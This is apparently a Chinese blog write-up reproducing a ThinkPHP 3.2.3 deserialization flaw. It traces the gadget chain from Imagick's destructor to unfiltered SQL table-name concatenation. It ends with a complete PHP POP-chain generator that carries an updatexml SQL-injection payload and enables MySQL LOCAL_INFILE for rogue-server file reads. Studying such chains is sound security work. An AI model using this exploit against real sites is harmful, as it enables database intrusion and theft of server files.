ThinkPHP3.2.3 反序列化漏洞复现

前言

第一次审反序列化漏洞,感觉反序列化还是蛮有意思的,但具体在框架中的POP链的构造确实学到了(没想到加namespace、user等)。在找合适跳板时也有点迷茫,以后多审一些应该会好一点了吧~

搭建

Index控制器中给一个反序列化的入口:

public function index(){
    unserialize(base64_decode($_GET[1]));
}
分析

一、首先是找一个下手的方法,一般都是__destruction这个重灾区出发,全局搜索function __destruct(
在这里插入图片描述

在TP3中搜索__destruction()发现有很多:free()fclose($this->fp)这类的方法,没啥利用的。

但有一处十分不一样,位于:ThinkPHP/Library/Think/Image/Driver/Imagick.class.php

// Imagick
public function __destruct() {
    empty($this->img) || $this->img->destroy();
}

这里的$this->img指的是本类中 img这个成员变量,是完全可控的。

二、那么顺着继续全局搜索一下destroy方法,
注意ThinkPHP/Library/Think/Session/Driver/Memcache.class.php中的destroy:
在这里插入图片描述
上一步中我们是无参调用destroy(),那么这里形参$sessID是空的。在ThinkPHP框架中,调用一个有参函数却不传入参数,这在PHP5中可以这么执行,但在PHP7中却会异常抛出,因此要复现的话不能用PHP7的环境。

这里的$this->handle同样可控,但是传入delete的参数只能控制$sessionName而无法控制$sessID,继续找delete()方法


三、找到:ThinkPHP/Mode/Lite/Model.class.php

//Model

public function delete($options=array()) {
    $pk   =  $this->getPk();
    if(empty($options) && empty($this->options['where'])) {
        // 如果删除条件为空 则删除当前数据对象所对应的记录
        if(!empty($this->data) && isset($this->data[$pk]))
            return $this->delete($this->data[$pk]);
        else
            return false;
    }
    if(is_numeric($options)  || is_string($options)) {
        // 根据主键删除记录
        if(strpos($options,',')) {
            $where[$pk]     =  array('IN', $options);
        }else{
            $where[$pk]     =  $options;
        }
        $options            =  array();
        $options['where']   =  $where;
    }
    // 根据复合主键删除记录
    if (is_array($options) && (count($options) > 0) && is_array($pk)) {
        $count = 0;
        foreach (array_keys($options) as $key) {
            if (is_int($key)) $count++; 
        } 
        if ($count == count($pk)) {
            $i = 0;
            foreach ($pk as $field) {
                $where[$field] = $options[$i];
                unset($options[$i++]);
            }
            $options['where']  =  $where;
        } else {
            return false;
        }
    }
    // 分析表达式
    $options =  $this->_parseOptions($options);
    if(empty($options['where'])){
        // 如果条件为空 不进行删除操作 除非设置 1=1
        return false;
    }        
    if(is_array($options['where']) && isset($options['where'][$pk])){
        $pkValue            =  $options['where'][$pk];
    }

    if(false === $this->_before_delete($options)) {
        return false;
    }        
    $result  =    $this->db->delete($options);
    if(false !== $result && is_numeric($result)) {
        $data = array();
        if(isset($pkValue)) $data[$pk]   =  $pkValue;
        $this->_after_delete($data,$options);
    }
    // 返回删除记录个数
    return $result;
}

分开来看:
在这里插入图片描述

其中:$pk = $this->getPk();则是返回当前类,也就是 Model类中成员变量$pk,可控。
$options传入为空数组和成员变量$this->options['where']为空则进入if里面,控制$this->data即可进入第二层if再调用本方法,但参数为$this->data[$pk],不过这同样可控。

再次调用自身,会直接到这些语句:
在这里插入图片描述
注意到最后面会调用$this->db中的delete方法,参数$options是通过$this->data[$pk]来控制的。但是哪个类呢?不是本类,而是:

这是ThinkPHP的数据库模型类中的delete()方法,最终会去调用到数据库驱动类中的delete()中去

也就是位于ThinkPHP/Library/Think/Db/Driver.class.php的Driver类。

但在进入此类前要注意前面有return 的操作,所以$options['where'],也就是$data[$pk]['where']不能为空,注释也告诉我们怎么设置此值了:1=1

四、来到Driver类:
在这里插入图片描述
在这里会产生一个Delete的SQL语句,其中最关键的便是直接将$table拼接到SQL语句中了,为什么说直接?虽然拼接前有一个parseTable方法,但依旧没啥luan用,我们进到parseTable中看看:
在这里插入图片描述
判别$table是什么类型,是数组就循环遍历一下然后执行parseKey方法,是字符串就按照逗号分隔执行parseKey方法。但parseKey方法是这样的:啥都没有,直接返回$key,没有任何过滤导致了漏洞产生!
在这里插入图片描述
五、拼接完SQL语句就到execute()中执行,execute方法中一开始会初始化连接,跟进
在这里插入图片描述
默认单数据库,跟进:
在这里插入图片描述
发现会参数中调用本类的$config,也就是驱动类。然后会通过PDO实现数据库的连接
在这里插入图片描述
因此这里我们还需要初始化数据库的连接。

构造POP chain
<?php
namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;
        public function __construct(){
            $this->img = new Memcache();

        }
    }
}


namespace Think\Session\Driver{
    use Think\Model;

    class Memcache {
        protected $handle;
        public function __construct(){
            $this->handle = new Model();

        }
    }

}

namespace Think{
    use Think\Db\Driver\Mysql;
    class Model {
        protected $data=array();
        protected $pk;
        protected $options=array();
        protected $db=null;

        public function __construct()
        {
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                'where'=>'1=1',
                'table'=>'mysql.user where 1=updatexml(1,concat(0x7e,user(),0x7e),1)#'

            );


        }
    }
}


//初始化数据库连接
namespace Think\Db\Driver{
    use PDO;
    class Mysql {

        protected $config     = array(
            'debug'             =>   true,
            "charset"           =>  "utf8",
            'type'              =>  'mysql',     // 数据库类型
            'hostname'          =>  'localhost', // 服务器地址
            'database'          =>  'tpdemo',          // 数据库名
            'username'          =>  'root',      // 用户名
            'password'          =>  'root',          // 密码
            'hostport'          =>  '3306',        // 端口
        );
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启后才可读取文件
            //PDO::MYSQL_ATTR_MULTI_STATEMENTS => true,    //把堆叠开了,开启后可堆叠注入
        );


    }

}


namespace{
    echo base64_encode(serialize(new Think\Image\Driver\Imagick() ));
}


?>

在这里插入图片描述

此外,不仅仅是单纯的SQL注入。因为数据库连接配置可控,还可以实现MySQL恶意服务端读取客户端文件漏洞,我就懒得复现这个攻击方式了…可以利用该作者的脚本:Rogue-MySql-Server




参考:
https://mp.weixin.qq.com/s/S3Un1EM-cftFXr8hxG4qfA?fileGuid=YQ6W8dWWxRpgCVkt

https://xz.aliyun.com/t/9441

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值